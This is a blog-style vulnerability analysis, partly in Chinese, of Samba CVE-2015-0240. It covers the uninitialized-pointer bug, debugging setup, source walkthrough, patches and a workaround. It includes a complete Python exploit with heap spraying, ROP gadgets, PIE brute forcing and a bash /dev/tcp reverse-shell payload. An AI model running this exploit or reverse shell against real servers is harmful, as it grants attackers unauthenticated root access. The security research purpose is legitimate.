CVE-2015-0240 Unexpected Code Execution In SMBD

Catalog

1. Description
2. Vulnerability Reproduce
3. Exploit Code Analysis
4. Track And Fix

 

1. Description

0x1: Summary

Unauthenticated code execution attack on smbd file services. All versions of Samba from 3.5.0 to 4.2.0rc4 are vulnerable to an unexpected code execution vulnerability in the smbd file serve daemon.
A malicious client could send packets that may set up the stack in such a way that the freeing of memory in a subsequent anonymous netlogon packet could allow execution of arbitrary code. This code would execute with root privileges.

该漏洞的触发并不需要通过Samba服务器的账号认证,而smbd服务端通常以root权限运行,如果漏洞能够被用来实现任意代码执行,则攻击者可以远程获取系统root权限,危害极其严重

0x2: Affected Versions

Samba 3.5.0 to 4.2.0rc4

Relevant Link:

https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2015-0240
https://securityblog.redhat.com/2015/02/23/samba-vulnerability-cve-2015-0240/?spm=0.0.0.0.e8Vbd3

 

2. Vulnerability Reproduce

0x1: Poc

#!/usr/bin/env python2  
# sudo apt-get install samba=2:3.6.3-2ubuntu2 samba-common=2:3.6.3-2ubuntu2 libwbclient0=2:3.6.3-2ubuntu2

import sys
import signal
import time

# https://github.com/zTrix/zio
from zio import *

from multiprocessing import Pool, Manager

import impacket
from impacket.dcerpc.v5 import transport, nrpc
from impacket.dcerpc.v5.ndr import NDRCALL
from impacket.dcerpc.v5.dtypes import *

host = '127.0.0.1'
port = 445
cmd = "bash -c 'bash >/dev/tcp/127.0.0.1/1337 0<&1 '\0"
# 0x0041e2cb: pop eax ; pop esi ; pop edi ; pop ebp ; ret ;
pop4ret_o = 0x41e2cb
# 0x000a6d7c: lea esp, dword [ecx-0x04] ; ret ;
popebx_o = 0x006fd522
pivot_o = 0xa6d7c
got_o = 0x9cd640
fmt_o = 0x8e043e
system_o = 0xa4250 
snprintf_o = 0xa3e20
bss_o = 0x9d5dc0

pie = 0x80000000
free_addr = 0x809fa10c + 8 + 32

def exploit(free_addr, pie=0, destructor=-1, step=0x80):
    pivot = pie + pivot_o
    pop4ret = pie + pop4ret_o
    popebx = pie + popebx_o
    got = pie + got_o
    fmt = pie + fmt_o
    system = pie + system_o
    snprintf = pie + snprintf_o
    bss = pie + bss_o

    if pie != 0:
        destructor = pivot
    # struct talloc_chunk {
    #     struct talloc_chunk *next, *prev;
    #     struct talloc_chunk *parent, *child;
    #     struct talloc_reference_handle *refs; // refs = 0
    #     talloc_destructor_t destructor; // destructor = -1: (No Crash), others: controled EIP
    #     const char *name;
    #     size_t size;
    #     unsigned flags; // magic
    #     void *poo
    # };
    talloc_chunk = l32(0)           # refs => 0
    talloc_chunk += l32(destructor) # destructor => control EIP
    talloc_chunk += l32(pop4ret)    # pop4ret
    talloc_chunk += 'leet'          #
    talloc_chunk += l32(0xe8150c70) # flags => magic

    # ebx => got
    rop = l32(popebx) + l32(got)
    # write cmd to bss
    for i in xrange(len(cmd)):
        c = cmd[i]
        rop += l32(snprintf) + l32(pop4ret)
        rop += l32(bss + i) + l32(2) + l32(fmt) + l32(ord(c))
    # system(cmd)
    rop += l32(system) + 'leet' + l32(bss)

    payload = 'deadbeef'
    payload += talloc_chunk * 0x1000 * step
    payload += 'leet' * 2
    payload += rop.ljust(2560, 'C')
    payload += 'cafebabe' + '\0'

    username = ''
    password = ''

    ###
    # impacket does not implement NetrServerPasswordSet
    ###
    # 3.5.4.4.6 NetrServerPasswordSet (Opnum 6)
    class NetrServerPasswordSet(NDRCALL):
        opnum = 6
        structure = (
           ('PrimaryName',nrpc.PLOGONSRV_HANDLE),
           ('AccountName',WSTR),
           ('SecureChannelType',nrpc.NETLOGON_SECURE_CHANNEL_TYPE),
           ('ComputerName',WSTR),
           ('Authenticator',nrpc.NETLOGON_AUTHENTICATOR),
           ('UasNewPassword',nrpc.ENCRYPTED_NT_OWF_PASSWORD),
        )

    class NetrServerPasswordSetResponse(NDRCALL):
        structure = (
           ('ReturnAuthenticator',nrpc.NETLOGON_AUTHENTICATOR),
           ('ErrorCode',NTSTATUS),
        )

    nrpc.OPNUMS[6] = (NetrServerPasswordSet, NetrServerPasswordSetResponse)

    ###
    # connect to target
    ###
    rpctransport = transport.DCERPCTransportFactory(r'ncacn_np:%s[\PIPE\netlogon]' % host)
    rpctransport.set_credentials('','')  # NULL session
    rpctransport.set_dport(port)
    # impacket has a problem with SMB2 dialect against samba4
    # force to 'NT LM 0.12' only
    rpctransport.preferred_dialect('NT LM 0.12')

    dce = rpctransport.get_dce_rpc()
    dce.connect()
    dce.bind(nrpc.MSRPC_UUID_NRPC)

    sessionKey = '\x00' * 16

    ###
    # prepare ServerPasswordSet request
    ###
    authenticator = nrpc.NETLOGON_AUTHENTICATOR()
    authenticator['Credential'] = nrpc.ComputeNetlogonCredential('12345678', sessionKey)
    authenticator['Timestamp'] = 10

    uasNewPass = nrpc.ENCRYPTED_NT_OWF_PASSWORD()
    uasNewPass['Data'] = payload

    primaryName = nrpc.PLOGONSRV_HANDLE()
    # ReferentID field of PrimaryName controls the uninitialized value of creds in ubuntu 12.04 32bit
    primaryName.fields['ReferentID'] = free_addr

    request = NetrServerPasswordSet()
    request['PrimaryName'] = primaryName
    request['AccountName'] = username + '\x00'
    request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel
    request['ComputerName'] = host + '\x00'
    request['Authenticator'] = authenticator
    request['UasNewPassword'] = uasNewPass

    DCERPCSessionError = nrpc.DCERPCSessionError
    try:
        resp = dce.request(request)
        print("no error !!! error code: 0xc0000225 or 0xc0000034 is expected")
        print("seems not vulnerable")
        # resp.dump()
        dce.disconnect()
        return 2
    except DCERPCSessionError as e:
        # expect error_code: 0xc0000225 - STATUS_NOT_FOUND
        # expect error_code: 0xc0000034 - STATUS_OBJECT_NAME_NOT_FOUND
        print("seems not vulnerable")
        # resp.dump()
        dce.disconnect()
        return 2
    except impacket.nmb.NetBIOSError as e:
        # print 'exception occured'
        if e.args[0] == 'Error while reading from remote':
            # print("connection lost!!!\nmight be vulnerable")
            return 1
        else:
            raise
    except AttributeError:
        # print("exception")
        return 0

def init_worker():
    signal.signal(signal.SIGINT, signal.SIG_IGN)

def guess_heap(free_addr, step, hits):
    if len(hits) > 0: return
    log("[+] trying heap addr %s" % hex(free_addr), 'green')
    res = exploit(free_addr, destructor=-1, step=step)
    if res == 0:
        res = exploit(free_addr, destructor=0, step=step)
        if res != 0:
            log("hit: %s" % hex(free_addr), 'red')
            hits.append(free_addr)

def guess_pie(free_addr, pie, step):
    log("[+] trying pie base addr %s" % hex(pie), 'green')
    try:
        exploit(free_addr, pie=pie, step=step)
    except impacket.nmb.NetBIOSTimeout:
        pass

def brute_force_heap(step):
    hit = False
    print "Initializng 10 processes for brute forcing heap address..."
    pool = Pool(10, init_worker)
    manager = Manager()
    hits = manager.list()
    for free_addr_base in range(0xb7700000, 0xba000000, 0x1000 * step * 20):
        for offset in xrange(5):
            pool.apply_async(guess_heap, (free_addr_base + offset * 4, step, hits))

    try:
        while True:
            time.sleep(5)
            if len(hits) > 0:
                pool.terminate()
                pool.join()
                return hits[0]

    except KeyboardInterrupt:
        print "Caught KeyboardInterrupt, terminating..."
        pool.terminate()
        pool.join()
        sys.exit(0)

def brute_force_pie(free_addr, step):
    print "Initializng 10 processes for brute forcing PIE base address..."
    pool = Pool(10, init_worker)
    for pie in range(0xb6d00000, 0xb6f00000, 0x1000):
        pool.apply_async(guess_pie, (free_addr, pie, step))

    try:
        time.sleep(60 * 60)

    except KeyboardInterrupt:
        print "Caught KeyboardInterrupt, terminating..."
        pool.terminate()
        pool.join()

    else:
        pool.close()
        pool.join()

step = 0x1
free_addr = brute_force_heap(step)
brute_force_pie(free_addr, step)

 

3. Exploit Code Analysis

0x1: Test Environment Build

我们要使用GDB对samba进行单步调试,就需要手工编译一份带DEBUG信息的BIN,因此需要将现有的samba删除

rpm -qa | grep samba | xargs sudo rpm -e --nodeps

下载samba源码,并使用"-g"选项编译安装

1. 下载源代码
wget https://download.samba.org/pub/samba/stable/samba-3.6.23.tar.gz
tat -zvxf samba-3.6.23.tar.gz
cd samba-3.6.23/source3
./configure
vim Makefile
//在编译选项中加入-g以便gdb对其进行调试
CFLAGS= -I../lib/zlib -g $(FLAGS) -D_SAMBA_BUILD_=3
make && make install
//默认安装路径是/usr/local/samba 

2. 配置samba
cd /usr/local/samba/lib
//将源码中example目录下的smb.conf.dufault文件复制到当前目录并改名为smb.conf
cp /zhenghan/samba/samba-3.6.23/examples/smb.conf.default /usr/local/samba/lib/ 
mv smb.conf.default smb.conf
//添加LDPRELOAD配置
vim /etc/ld.so.conf
//添加一行
/usr/local/samba/lib
//执行ldconfig更新动态链接库缓存
ldconfig

3. 添加samba帐号
cd /usr/local/samba/bin
./smbpasswd -a samba_test
111

4. 启动samba
cd /usr/local/samba/sbin
./smbd
./nmbd
//查看进程启动
pgrep smbd
pgrep nmbd

0x2: Sourcecode

漏洞出现在函数 _netr_ServerPasswordSet() 当中
\samba-3.6.23\source3\rpc_server\netlogon\srv_netlog_nt.c

NTSTATUS _netr_ServerPasswordSet(struct pipes_struct *p, struct netr_ServerPasswordSet *r)
{
    NTSTATUS status = NT_STATUS_OK;
    int i;
    //声明了creds变量,但是未进行必要的初始化,这块虚拟内存的值是随机的
    struct netlogon_creds_CredentialState *creds;

    DEBUG(5,("_netr_ServerPasswordSet: %d\n", __LINE__));

    become_root();
    //局部变量creds原本被期望通过 netr_creds_server_step_check() 函数初始化
    status = netr_creds_server_step_check(p, p->mem_ctx, r->in.computer_name, r->in.credential, r->out.return_authenticator, &creds);
    unbecome_root();

    if (!NT_STATUS_IS_OK(status)) 
    {
        DEBUG(2,("_netr_ServerPasswordSet: netlogon_creds_server_step failed. Rejecting auth request from client %s machine account %s\n", r->in.computer_name, creds->computer_name));
        //但是如果构造输入使得 netr_creds_server_step_check() 失败,则可导致creds未初始化就传入了TALLOC_FREE()函数,得到一次CPU执行的机会
        TALLOC_FREE(creds);
        return status;
    }

    DEBUG(3,("_netr_ServerPasswordSet: Server Password Set by remote machine:[%s] on account [%s]\n", r->in.computer_name, creds->computer_name));

    netlogon_creds_des_decrypt(creds, r->in.new_password);

    DEBUG(100,("_netr_ServerPasswordSet: new given value was :\n"));
    for(i = 0; i < sizeof(r->in.new_password->hash); i++)
        DEBUG(100,("%02X ", r->in.new_password->hash[i]));
    DEBUG(100,("\n"));

    status = netr_set_machine_account_password(p->mem_ctx, p->session_info, p->msg_ctx, creds->account_name, r->in.new_password);
    return status;
}

我们继续跟进netr_creds_server_step_check,查看什么条件会使得netr_creds_server_step_check函数运行失败

static NTSTATUS netr_creds_server_step_check(struct pipes_struct *p,
                         TALLOC_CTX *mem_ctx,
                         const char *computer_name,
                         struct netr_Authenticator *received_authenticator,
                         struct netr_Authenticator *return_authenticator,
                         struct netlogon_creds_CredentialState **creds_out)
{
    NTSTATUS status;
    bool schannel_global_required = (lp_server_schannel() == true) ? true:false;

    if (schannel_global_required) {
        status = schannel_check_required(&p->auth,
                         computer_name,
                         false, false);
        if (!NT_STATUS_IS_OK(status)) {
            return status;
        }
    }

    //schannel_check_creds_state是初始化creds的函数
    status = schannel_check_creds_state(mem_ctx, lp_private_dir(),
                        computer_name, received_authenticator,
                        return_authenticator, creds_out);

    return status;
}

我们继续跟进schannel_check_creds_state函数
\samba-3.6.23\libcli\auth\schannel_state_tdb.c

NTSTATUS schannel_check_creds_state(TALLOC_CTX *mem_ctx,
                    const char *db_priv_dir,
                    const char *computer_name,
                    struct netr_Authenticator *received_authenticator,
                    struct netr_Authenticator *return_authenticator,
                    struct netlogon_creds_CredentialState **creds_out)
{
    TALLOC_CTX *tmpctx;
    struct tdb_wrap *tdb_sc;
    struct netlogon_creds_CredentialState *creds;
    NTSTATUS status;
    int ret;

    //申请一块内存,大多数情况下不会发生错误
    tmpctx = talloc_named(mem_ctx, 0, "schannel_check_creds_state");
    if (!tmpctx) {
        return NT_STATUS_NO_MEMORY;
    }

    //打开存储在本地的凭证文件,获取所有存储的凭证
    tdb_sc = open_schannel_session_store(tmpctx, db_priv_dir);
    if (!tdb_sc) {
        status = NT_STATUS_ACCESS_DENIED;
        goto done;
    }

    //开始一个tdb事务。tdb就是存储凭证的文件
    ret = tdb_transaction_start(tdb_sc->tdb);
    if (ret != 0) {
        status = NT_STATUS_INTERNAL_DB_CORRUPTION;
        goto done;
    }

    /* Because this is a shared structure (even across
     * disconnects) we must update the database every time we
     * update the structure */
    
    //根据主机名获取凭证,主机名是客户端传入的,所有存在伪造导致崩溃的情况
    status = schannel_fetch_session_key_tdb(tdb_sc, tmpctx, 
                        computer_name, &creds);
    if (!NT_STATUS_IS_OK(status)) {
        tdb_transaction_cancel(tdb_sc->tdb);
        goto done;
    }

    //将上一步获取的凭证与客户端给的凭证比较,也可以存在伪造崩溃
    status = netlogon_creds_server_step_check(creds,
                          received_authenticator,
                          return_authenticator);
    if (!NT_STATUS_IS_OK(status)) {
        tdb_transaction_cancel(tdb_sc->tdb);
        goto done;
    }

    //根据主机名生成的hash字符串存储相应的凭证
    status = schannel_store_session_key_tdb(tdb_sc, tmpctx, creds);
    if (!NT_STATUS_IS_OK(status)) {
        tdb_transaction_cancel(tdb_sc->tdb);
        goto done;
    }

    tdb_transaction_commit(tdb_sc->tdb);

    if (creds_out) {
        *creds_out = talloc_steal(mem_ctx, creds);
        if (!*creds_out) {
            status = NT_STATUS_NO_MEMORY;
            goto done;
        }
    }

    status = NT_STATUS_OK;

done:
    talloc_free(tmpctx);
    return status;
}

从代码中可以看出,可以触发creds初始化失败的条件有2个

1. 只要客户端的机器没有在服务器上验证通过过就会触发,可以是一个新的计算机名或是伪造一个计算机名
2. 只要随意伪造一个凭证即可触发

调试POC

 

(gdb) break _netr_ServerPasswordSet
Breakpoint 1 at 0x5555558ca915: file rpc_server/netlogon/srv_netlog_nt.c, line 1206.
(gdb) c
Continuing.

 

 

0x3: 任意地址Free

要利用这个漏洞,首先需要找到一个控制流,能够控制栈上未初始化的指针creds,这样我们就可以实现对任意地址调用TALLOC_FREE()。根据@sleepya_的PoC,我们已经知道,在Ubuntu 12.04 和 Debian 7 x86系统中,NetrServerPasswordSet请求当中PrimaryName的ReferentID域恰好落在了栈上未初始化指针creds的位置。这样我们就可以通过构造ReferentID来实现任意地址Free。

0x4: 控制EIP

有了任意地址Free后,我们可以想办法让TALLOC_FREE()来释放我们控制的内存块,但我们并不知道我们所能控制的内存的地址(DCERPC请求中的数据存储在堆上)。我们可以穷举堆的地址,因为smbd进程采用fork的方式来处理每个连接,内存空间的布局是不变的。另外我们可以在堆上大量布置TALLOC内存块(即heap spray),来提高命中率,尽可能降低枚举的空间。我们首先假设已经知道堆的地址,先来看一看如何构造TALLOC内存块来劫持EIP。我们需要去了解TALLOC_FREE()的实现。 首先看一看TALLOC内存块的结构

struct talloc_chunk {
     struct talloc_chunk *next, *prev;
     struct talloc_chunk *parent, *child;
     struct talloc_reference_handle *refs;
     talloc_destructor_t destructor;
     const char *name;
     size_t size;
     unsigned flags;
     void *pool;
     8 bytes padding;
};

为了满足16字节对齐,这个结构末尾还有8字节的padding,这样talloc_chunk结构一共48字节。在这个结构当中,destructor是一个函数指针,我们可以任意构造。先来看一看TALLOC_FREE()这个宏展开的代码:

_PUBLIC_ int _talloc_free(void *ptr, const char *location)
{
    struct talloc_chunk *tc;
    if (unlikely(ptr == NULL)) {
        return -1;
    }
    tc = talloc_chunk_from_ptr(ptr);
    ...
}

_talloc_free()又调用了talloc_chunk_from_ptr(),这个函数是用来将内存指针(分配时返回给用户使用的指针ptr)转换成talloc_chunk的指针

/* panic if we get a bad magic value */
static inline struct talloc_chunk *talloc_chunk_from_ptr(const void *ptr)
{
    const char *pp = (const char *)ptr;
    struct talloc_chunk *tc = discard_const_p(struct talloc_chunk, pp - TC_HDR_SIZE);
    if (unlikely((tc->flags & (TALLOC_FLAG_FREE | ~0xF)) != TALLOC_MAGIC)) {
        if ((tc->flags & (~0xFFF)) == TALLOC_MAGIC_BASE) {
            talloc_abort_magic(tc->flags & (~0xF));
            return NULL;
        }

        if (tc->flags & TALLOC_FLAG_FREE) {
            talloc_log("talloc: access after free error - first free may be at %s\n", tc->name);
            talloc_abort_access_after_free();
            return NULL;
        } else {
            talloc_abort_unknown_value();
            return NULL;
        }
    }
    return tc;
}

这个函数仅仅把用户内存指针减去TC_HDR_SIZE并返回, TC_HDR_SIZE就是talloc_chunk的大小48,但是我们需要满足tc->flags的检查,将其设置为正确的Magic Number,否则函数无法返回正确指针。接下来我们继续看_talloc_free()函数

_PUBLIC_ int _talloc_free(void *ptr, const char *location)
{
    ...
    tc = talloc_chunk_from_ptr(ptr);
    if (unlikely(tc->refs != NULL)) {
        struct talloc_reference_handle *h;
        if (talloc_parent(ptr) == null_context && tc->refs->next == NULL) {
            return talloc_unlink(null_context, ptr);
        }
        talloc_log("ERROR: talloc_free with references at %s\n",
               location);
        for (h=tc->refs; h; h=h->next) {
            talloc_log("\treference at %s\n",
                   h->location);
        }
        return -1;
    }
    return _talloc_free_internal(ptr, location);
}

如果tc->refs不等于NULL,则进入if分支:为了让里面的第一个if分支不挂,我们需要把tc->parent指针设置成NULL;紧接着的for循环又要求我们让tc->refs指向一个合法链表,有一些复杂。我们先来看如果tc->refs为NULL的情形,即程序进入了_talloc_free_internal()函数:

static inline int _talloc_free_internal(void *ptr, const char *location)
{
    ...
    if (unlikely(tc->flags & TALLOC_FLAG_LOOP)) {
        /* we have a free loop - stop looping */
        return 0;
    }
    if (unlikely(tc->destructor)) {
        talloc_destructor_t d = tc->destructor;
        if (d == (talloc_destructor_t)-1) {
            return -1;
        }
        tc->destructor = (talloc_destructor_t)-1;
        if (d(ptr) == -1) { // call destructor
            tc->destructor = d;
            return -1;
        }
        tc->destructor = NULL;
    }
    ...
}

我们略去该函数中已经不需要考虑的部分,在上述函数中,我们已经看到talloc_chunk的destructor被调用起来了,但是在这之前有一些检查:第一个if当中,我们不能在flags中设置TALLOC_FLAG_LOOP;在第二个if中,destructor如果设置为-1,则函数返回-1,程序不会crash,如果destructor设置为其他非法地址,则程序会崩溃退出。我们可以利用这个特性来验证穷举的堆的地址是否准确:我们在穷举时可以将destructor设置为-1,当找到一个用来TALLOC_FREE()的地址没有让程序崩溃(请求有返回),则再将destructor设置为一个非法地址,如果程序这时候崩溃,则说明我们找到的地址是正确的。现在我们总结一下我们需要构造的chunk所应该满足的条件

struct talloc_chunk {
    struct talloc_chunk *next, *prev; // 无要求
    struct talloc_chunk *parent, *child; // 无要求
    struct talloc_reference_handle *refs; // refs = 0
    talloc_destructor_t destructor; // destructor = -1: (No Crash), others: controled EIP
    const char *name;
    size_t size;
    unsigned flags; // 条件1:flags & (TALLOC_FLAG_FREE | ~0xF)) == TALLOC_MAGIC
                    // 条件2:tc->flags & TALLOC_FLAG_LOOP == False
    void *pool; // 无要求
    8 bytes padding; // 无要求
};

到此为止,我们已经知道怎么通过构造chunk传给TALLOC_FREE()来控制EIP

0x5: 穷举堆地址

经过修改PoC并结合gdb调试发现,我们可以使用new password来构造大量的chunk。虽然发送给Samba的请求当中有很多数据存储在堆当中,但是很多数据要求符合WSTR编码,无法传入任意字符。 为了提高穷举堆地址的效率,我们采用 [4] 提出的思路,使用只包含refs、destructor、name、size、flags这5个域的压缩chunk,从48字节缩小为20字节,这样我们在穷举时只需要对每个地址穷举5个偏移,而不是原来的12个。压缩chunk的喷射与实际talloc_chunk结构的对应关系如下图所示

chunk喷射的数量多少也会影响到穷举的效率。如果在内存中喷射的chunk较多,则需要枚举的空间就会减少,但是每次枚举时网络传输、程序对输入的处理等因素所导致的时间开销也会增大,因此需要根据实际情况来选择一个折中的数值。另外,在我们实现的exploit中,使用了进程池来实现并行枚举,提高了穷举的效率

0x6: ROP
要实现ROP,我们还需要枚举Samba程序加载的基址。由于地址随机化保护机制的最小粒度为内存页,所以我们按页来枚举即可(0x1000字节)。我们在平台中大量测试了地址空间可能的范围,大致有0x200种可能的情形,可以接受。 现在我们只能通过构造destructor来控制一次EIP,为了实现ROP,首先需要做栈迁移(stack pivot),我们在samba的binary中找到了如下gadget

0x000a6d7c: lea esp, dword [ecx-0x04] ; ret ;

由于在控制EIP的现场,ecx-0x4正好指向chunk的name字段,因此我们可以从name字段开始进行ROP。通过设置一个pop4ret(pop eax ; pop esi ; pop edi ; pop ebp ; ret ;)的gadget,就可以让esp指向下一个压缩chunk的name字段,依次往下,直到ESP走到我们喷射的内存的尽头,我们在那里可以无限制地写入ROP Payload

0x7: 任意代码执行

注意到smbd程序中导入了system函数,因此我们可以直接调用system的PLT地址来执行任意命令。但是如何写入命令呢,如果使用在堆中布置命令,目前我们只知道压缩chunk的地址,但是其中只剩下4字节可用,所以考虑调用snprintf,往bss section中逐字节写入命令,这种方式可以执行任意长度的命令。需要注意的是,在调用snprintf和system时,由于binary使用的是地址无关代码(PIC),需要把GOT表地址恢复到ebx寄存器中。生成ROP Payload的Python代码如下所示:

# ebx => got
rop = l32(popebx) + l32(got)
# write cmd to bss, fmt == "%c"
for i in xrange(len(cmd)):
    c = cmd[i]
    rop += l32(snprintf) + l32(pop4ret)
    rop += l32(bss + i) + l32(2) + l32(fmt) + l32(ord(c))
# system(cmd)
rop += l32(system) + 'leet' + l32(bss)

Relevant Link:

https://www.nccgroup.trust/en/blog/2015/03/samba-_netr_serverpasswordset-expoitability-analysis/
https://www.nccgroup.trust/en/blog/2015/03/exploiting-samba-cve-2015-0240-on-ubuntu-1204-and-debian-7-32-bit/
http://blog.csdn.net/wuyangbotianshi/article/details/44108577

 

4. Track And Fix

0x1: Patch Availability

Additionally, Samba 4.2.0rc5, 4.1.17, 4.0.25 and 3.6.25 have been issued as security releases to correct the defect. Patches against older Samba versions are available at http://samba.org/samba/patches/.
Samba vendors and administrators running affected versions are advised to upgrade or apply the patch as soon as possible.

0x2: Workaround

On Samba versions 4.0.0 and above, add the line:

rpc_server:netlogon=disabled

to the [global] section of your smb.conf. For Samba versions 3.6.x and earlier, this workaround is not available.

Relevant Link:

https://www.samba.org/samba/history/security.html
https://www.samba.org/samba/security/CVE-2015-0240

 

Copyright (c) 2015 LittleHann All rights reserved

 

posted @ 2015-04-10 16:34  郑瀚Andrew  阅读(233)  评论(0编辑  收藏  举报